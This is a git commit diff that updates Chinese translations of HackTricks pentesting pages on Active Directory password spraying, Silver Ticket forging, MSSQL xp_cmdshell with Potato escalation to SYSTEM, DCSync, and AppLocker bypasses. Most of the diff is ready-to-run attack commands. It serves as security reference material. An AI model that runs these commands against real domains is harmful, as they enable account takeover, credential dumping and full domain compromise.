mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/silver-t
This commit is contained in:
parent
175daa493c
commit
6a98672dcd
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**查看精彩的帖子来自:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**查看这篇精彩文章:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,16 +5,16 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
一旦你找到几个 **valid usernames**,你可以对每个已发现的用户尝试最常见的 **common passwords**(记住环境的 **password policy**)。\
|
||||
按 **default**,**minimum** **password** **length** 为 **7**。
|
||||
一旦找到几个 **valid usernames**,就可以对每个发现的用户尝试最常见的 **common passwords**(请注意环境的密码策略)。\
|
||||
默认情况下,**minimum** **password** **length** 为 **7**。
|
||||
|
||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
常见用户名列表也可能有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
注意,你 **could lockout some accounts if you try several wrong passwords**(默认超过10次)。
|
||||
注意,你 **could lockout some accounts if you try several wrong passwords**(默认超过 10 次)。
|
||||
|
||||
### 获取 password policy
|
||||
### 获取密码策略
|
||||
|
||||
如果你有一些用户凭证或以 domain user 身份的 shell,你可以 **get the password policy with**:
|
||||
如果你有某些用户凭证或以域用户身份获得了 shell,你可以通过以下方式 **get the password policy with**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### 从 Linux (或任意平台) 进行利用
|
||||
### 从 Linux(或所有)进行利用
|
||||
|
||||
- 使用 **crackmapexec:**
|
||||
```bash
|
||||
@ -47,16 +47,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,有时不起作用
|
||||
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐:有时不起作用
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
```
|
||||
- 使用 **Metasploit** 的 `scanner/smb/smb_login` 模块:
|
||||
- 使用 `scanner/smb/smb_login` 模块的 **Metasploit**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -69,7 +69,7 @@ done
|
||||
```
|
||||
#### 从 Windows
|
||||
|
||||
- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
|
||||
- 使用带有 brute module 的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +77,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它默认可以从域中生成用户,并会从域获取密码策略并根据该策略限制尝试次数):
|
||||
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (默认可以从域生成用户,并且会从域获取密码策略并根据该策略限制尝试次数):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
## 暴力破解
|
||||
### 识别并接管 "Password must change at next logon" 帐户 (SAMR)
|
||||
|
||||
一种低噪声技术是尝试一个无害/空的密码并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的帐户,该状态表示密码被强制过期,可以在不知道旧密码的情况下更改。
|
||||
|
||||
Workflow:
|
||||
- 枚举用户(通过 SAMR 进行 RID 暴力破解)以构建目标列表:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
```bash
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray 空密码,并在命中后继续尝试以捕获必须在下次登录时更改的账户:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- 对于每个命中,通过 SAMR 使用 NetExec 的模块更改密码(当设置了 "must change" 时不需要旧密码):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
|
||||
# Validate and retrieve domain password policy with the new creds
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
操作说明:
|
||||
- 确保在执行基于 Kerberos 的操作之前,主机时钟与 DC 同步: `sudo ntpdate <dc_fqdn>`.
|
||||
- 在某些模块(例如 RDP/WinRM)中,带有 [+] 但没有 (Pwn3d!) 表示 creds 有效,但该账户缺少交互式登录权限。
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying 比 SMB/NTLM/LDAP bind attempts 产生的噪声更少,并且更符合 AD lockout policies。SpearSpray 将 LDAP-driven targeting、pattern engine 和 policy awareness(domain policy + PSOs + badPwdCount buffer)结合起来,以更精确且更安全的方式进行喷洒。它还可以在 Neo4j 中标记被攻破的 principals 以便 BloodHound 路径分析。
|
||||
Kerberos pre-auth–based spraying 相较于 SMB/NTLM/LDAP bind attempts 能减少噪音,并更符合 AD lockout policies。SpearSpray 结合 LDAP 驱动的定向、模式引擎 和 策略感知(域策略 + PSOs + badPwdCount buffer),以精确且安全地进行喷洒。它还可以在 Neo4j 中标记被攻陷的主体,以供 BloodHound 路径分析使用。
|
||||
|
||||
Key ideas:
|
||||
- LDAP user discovery 支持 paging 和 LDAPS,可选地使用自定义 LDAP filters。
|
||||
- Domain lockout policy + PSO-aware filtering,保留一个可配置的尝试缓冲(threshold)以避免锁定用户。
|
||||
- Kerberos pre-auth validation 使用快速的 gssapi bindings(在 DCs 上生成 4768/4771,而不是 4625)。
|
||||
- 基于 pattern 的每用户密码生成,使用像名字和从每个用户的 pwdLastSet 派生的时间变量。
|
||||
- 通过线程、jitter 和 max requests per second 控制吞吐量。
|
||||
- 可选的 Neo4j 集成,用于标记已攻破的用户以供 BloodHound 使用。
|
||||
关键要点:
|
||||
- LDAP 用户发现,支持分页和 LDAPS,并可选地使用自定义 LDAP 过滤器。
|
||||
- 结合域锁定策略 + PSO 感知的过滤,保留可配置的尝试缓冲(阈值),避免锁定用户。
|
||||
- 使用快速 gssapi bindings 进行 Kerberos pre-auth 验证(在 DC 上生成 4768/4771 而非 4625)。
|
||||
- 基于模式的逐用户密码生成,使用诸如姓名和从每个用户的 pwdLastSet 派生的时间变量等变量。
|
||||
- 通过线程、jitter 和每秒最大请求数来控制吞吐。
|
||||
- 可选的 Neo4j 集成用于标记被攻破的用户以供 BloodHound 使用。
|
||||
|
||||
Basic usage and discovery:
|
||||
基本用法与发现:
|
||||
```bash
|
||||
# List available pattern variables
|
||||
spearspray -l
|
||||
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||
```
|
||||
隐蔽性与安全控制:
|
||||
隐蔽与安全控制:
|
||||
```bash
|
||||
# Control concurrency, add jitter, and cap request rate
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||
@ -129,11 +161,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||
```
|
||||
Neo4j/BloodHound 数据丰富:
|
||||
Neo4j/BloodHound 富集:
|
||||
```bash
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||
```
|
||||
模式系统概述 (patterns.txt):
|
||||
模式系统概览 (patterns.txt):
|
||||
```text
|
||||
# Example templates consuming per-user attributes and temporal context
|
||||
{name}{separator}{year}{suffix}
|
||||
@ -142,21 +174,21 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Available variables include:
|
||||
可用变量包括:
|
||||
- {name}, {samaccountname}
|
||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||
- 从每个用户的 pwdLastSet(或 whenCreated)获得的时间变量:{year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- 组合辅助变量和组织令牌:{separator}, {suffix}, {extra}
|
||||
|
||||
Operational notes:
|
||||
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
|
||||
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
||||
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
||||
操作注意事项:
|
||||
- 优先使用 -dc 查询 PDC-emulator,以读取最权威的 badPwdCount 和与策略相关的信息。
|
||||
- badPwdCount 会在观察窗口之后的下一次尝试时被重置;使用阈值和时机以保持安全。
|
||||
- Kerberos 预认证尝试会在 DC 监测中以 4768/4771 的事件出现;使用 jitter 和 rate-limiting 来混入正常流量。
|
||||
|
||||
> 提示:SpearSpray’s 默认 LDAP 页面大小为 200;必要时使用 -lps 调整。
|
||||
> 提示:SpearSpray 的默认 LDAP 页面大小为 200;根据需要使用 -lps 调整。
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
有多种工具用于 p**assword spraying outlook**。
|
||||
有多种工具可用于 p**assword spraying outlook**。
|
||||
|
||||
- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
@ -164,7 +196,7 @@ Operational notes:
|
||||
- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell)
|
||||
- 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell)
|
||||
|
||||
要使用上述任何工具,您需要一个用户列表以及一个密码或一个小的密码列表用于 password spraying。
|
||||
要使用这些工具,你需要一个用户列表以及一个密码或一小组要尝试的密码。
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
@ -183,7 +215,7 @@ Operational notes:
|
||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||
@ -194,6 +226,7 @@ Operational notes:
|
||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
**银票**攻击涉及在Active Directory (AD)环境中利用服务票证。此方法依赖于**获取服务帐户的NTLM哈希**,例如计算机帐户,以伪造票证授予服务(TGS)票证。通过这个伪造的票证,攻击者可以访问网络上的特定服务,**冒充任何用户**,通常旨在获取管理权限。强调使用AES密钥伪造票证更安全且不易被检测。
|
||||
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
|
||||
|
||||
> [!WARNING]
|
||||
> 银票比金票更不易被检测,因为它们只需要**服务帐户的哈希**,而不需要krbtgt帐户。然而,它们仅限于其目标的特定服务。此外,仅仅窃取用户的密码。
|
||||
此外,如果您通过**SPN**破坏了一个帐户的密码,您可以使用该密码创建一个银票,冒充任何用户访问该服务。
|
||||
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
|
||||
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
|
||||
|
||||
对于票证制作,根据操作系统使用不同的工具:
|
||||
For ticket crafting, different tools are employed based on the operating system:
|
||||
|
||||
### On Linux
|
||||
```bash
|
||||
@ -20,7 +20,7 @@ python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn
|
||||
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
||||
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
||||
```
|
||||
### 在Windows上
|
||||
### 在 Windows 上
|
||||
```bash
|
||||
# Using Rubeus
|
||||
## /ldap option is used to get domain data automatically
|
||||
@ -37,26 +37,58 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||||
# Obtain a shell
|
||||
.\PsExec.exe -accepteula \\<TARGET> cmd
|
||||
```
|
||||
CIFS服务被强调为访问受害者文件系统的常见目标,但其他服务如HOST和RPCSS也可以被利用来执行任务和WMI查询。
|
||||
CIFS 服务被强调为访问受害者文件系统的常见目标,但像 HOST 和 RPCSS 这样的其他服务也可以被利用来执行任务和进行 WMI 查询。
|
||||
|
||||
### 示例:MSSQL 服务 (MSSQLSvc) + Potato to SYSTEM
|
||||
|
||||
如果你拥有某个 SQL 服务账号(例如 sqlsvc)的 NTLM hash(或 AES key),你可以为 MSSQL SPN 伪造一个 TGS,并向 SQL 服务冒充任意用户。从那里,启用 xp_cmdshell 以该 SQL 服务账号的身份执行命令。如果该令牌具有 SeImpersonatePrivilege,则可以链式使用 Potato 提权到 SYSTEM。
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
-spn MSSQLSvc/<host.fqdn>:1433 administrator
|
||||
export KRB5CCNAME=$PWD/administrator.ccache
|
||||
|
||||
# Connect to SQL using Kerberos and run commands via xp_cmdshell
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
- 如果获得的上下文具有 SeImpersonatePrivilege(对于服务账户通常为真),使用 Potato 变体来获取 SYSTEM:
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
# or
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
```
|
||||
关于滥用 MSSQL 和启用 xp_cmdshell 的更多细节:
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
Potato 技术概述:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## 可用服务
|
||||
|
||||
| 服务类型 | 服务银票 |
|
||||
| ------------------------------------------ | --------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell远程 | <p>HOST</p><p>HTTP</p><p>根据操作系统还可以:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下你可以直接请求: WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows文件共享,也包括psexec | CIFS |
|
||||
| LDAP操作,包括DCSync | LDAP |
|
||||
| Windows远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| 黄金票 | krbtgt |
|
||||
| 服务类型 | Service Silver Tickets |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>视操作系统而定:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下你可以只请求:WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows 文件共享,也 psexec | CIFS |
|
||||
| LDAP 操作(包括 DCSync) | LDAP |
|
||||
| Windows 远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Golden Tickets | krbtgt |
|
||||
|
||||
使用**Rubeus**你可以使用参数**请求所有**这些票证:
|
||||
使用 **Rubeus** 可以通过以下参数**请求所有**这些票据:
|
||||
|
||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
### 银票事件ID
|
||||
### Silver tickets 事件 ID
|
||||
|
||||
- 4624: 账户登录
|
||||
- 4634: 账户注销
|
||||
@ -64,21 +96,21 @@ CIFS服务被强调为访问受害者文件系统的常见目标,但其他服
|
||||
|
||||
## 持久性
|
||||
|
||||
为了避免机器每30天更改一次密码,可以设置`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`,或者可以将`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`设置为大于30天的值,以指示机器密码应更改的轮换周期。
|
||||
为避免机器每30天轮换密码,可设置 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`,或者可以将 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` 设置为大于 30days 的值,以指示机器密码应在何时轮换。
|
||||
|
||||
## 滥用服务票证
|
||||
## 滥用服务票据
|
||||
|
||||
在以下示例中,假设票证是通过模拟管理员账户获取的。
|
||||
在以下示例中,假设票据是通过模拟管理员账户获取的。
|
||||
|
||||
### CIFS
|
||||
|
||||
使用此票证,你将能够通过**SMB**访问`C$`和`ADMIN$`文件夹(如果它们被暴露)并将文件复制到远程文件系统的某个部分,只需执行类似以下操作:
|
||||
使用该票据,你可以通过 **SMB**(如果暴露)访问 `C$` 和 `ADMIN$` 文件夹,并将文件复制到远程文件系统的某个位置,例如执行如下操作:
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
您还可以通过 **psexec** 在主机内部获取 shell 或执行任意命令:
|
||||
你还可以使用 **psexec** 在主机内获得 shell 或执行任意命令:
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/psexec-and-winexec.md
|
||||
@ -86,7 +118,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
|
||||
### HOST
|
||||
|
||||
通过此权限,您可以在远程计算机上生成计划任务并执行任意命令:
|
||||
拥有此权限后,你可以在远程计算机上创建计划任务并执行任意命令:
|
||||
```bash
|
||||
#Check you have permissions to use schtasks over a remote server
|
||||
schtasks /S some.vuln.pc
|
||||
@ -100,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
|
||||
```
|
||||
### HOST + RPCSS
|
||||
|
||||
使用这些票证,您可以**在受害者系统中执行 WMI**:
|
||||
利用这些 tickets,你可以 **在受害系统中执行 WMI**:
|
||||
```bash
|
||||
#Check you have enough privileges
|
||||
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
|
||||
@ -110,34 +142,35 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
|
||||
#You can also use wmic
|
||||
wmic remote.computer.local list full /format:list
|
||||
```
|
||||
找到有关 **wmiexec** 的更多信息,请访问以下页面:
|
||||
在以下页面查找**更多关于 wmiexec 的信息**:
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/wmiexec.md
|
||||
{{#endref}}
|
||||
|
||||
### HOST + WSMAN (WINRM)
|
||||
### 主机 + WSMAN (WINRM)
|
||||
|
||||
通过 winrm 访问计算机,您可以 **访问它**,甚至获取 PowerShell:
|
||||
通过对计算机的 winrm 访问,你可以**访问它**,甚至获得一个 PowerShell:
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
查看以下页面以了解 **使用 winrm 连接远程主机的更多方法**:
|
||||
Check the following page to learn **more ways to connect with a remote host using winrm**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/winrm.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,**winrm 必须在远程计算机上处于活动状态并监听**才能访问它。
|
||||
> 注意 **winrm 必须在远程计算机上启用并处于监听状态** 才能访问它。
|
||||
|
||||
### LDAP
|
||||
|
||||
凭借此权限,您可以使用 **DCSync** 转储 DC 数据库:
|
||||
拥有此权限后,您可以使用 **DCSync** 转储 DC 数据库:
|
||||
```
|
||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||
```
|
||||
**了解更多关于 DCSync** 在以下页面:
|
||||
**了解更多关于 DCSync 的信息**,请参阅以下页面:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -145,11 +178,12 @@ dcsync.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
|
||||
- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Windows Security Controls
|
||||
# Windows 安全控制
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppLocker Policy
|
||||
## AppLocker 策略
|
||||
|
||||
应用程序白名单是一个经过批准的软件应用程序或可执行文件的列表,这些软件被允许在系统上存在和运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。
|
||||
应用程序白名单是一份已批准的软件应用或可执行文件清单,允许在系统上存在并运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是微软的 **应用程序白名单解决方案**,为系统管理员提供了对 **用户可以运行哪些应用程序和文件** 的控制。它提供了对可执行文件、脚本、Windows 安装程序文件、DLL、打包应用程序和打包应用程序安装程序的 **细粒度控制**。\
|
||||
组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写入访问,**但这一切都可以被绕过**。
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是 Microsoft's **应用程序白名单解决方案**,并赋予系统管理员对 **用户可以运行哪些应用和文件** 的控制权。它提供对可执行文件、脚本、Windows 安装程序文件、DLLs、打包应用程序和打包应用安装程序的**细粒度控制**。\
|
||||
组织通常会**阻止 cmd.exe 和 PowerShell.exe**,并限制对某些目录的写入权限,**但这些都可以被绕过**。
|
||||
|
||||
### Check
|
||||
### 检查
|
||||
|
||||
检查哪些文件/扩展名被列入黑名单/白名单:
|
||||
检查哪些文件/扩展被列入黑名单/白名单:
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
此注册表路径包含由 AppLocker 应用的配置和策略,提供了一种查看系统上强制执行的当前规则集的方法:
|
||||
该注册表路径包含 AppLocker 应用的配置和策略,提供了一种查看系统当前强制实施的规则集的方法:
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
### 绕过
|
||||
### Bypass
|
||||
|
||||
- 有用的 **可写文件夹** 用于绕过 AppLocker 策略:如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容,则可以使用 **可写文件夹** 来 **绕过此限制**。
|
||||
- 有用的 **可写文件夹** 用于绕过 AppLocker 策略:如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 中执行任何内容,则存在一些 **可写文件夹** 可用于 **绕过此限制**。
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- 常见的 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可以用于绕过 AppLocker。
|
||||
- **编写不当的规则也可能被绕过**
|
||||
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,您可以在任何地方创建一个 **名为 `allowed`** 的文件夹,它将被允许。
|
||||
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations),例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
|
||||
- **DLL 强制执行很少启用**,因为它可能对系统造成额外负担,以及确保没有任何东西会崩溃所需的测试量。因此,使用 **DLL 作为后门将有助于绕过 AppLocker**。
|
||||
- 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息,请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
|
||||
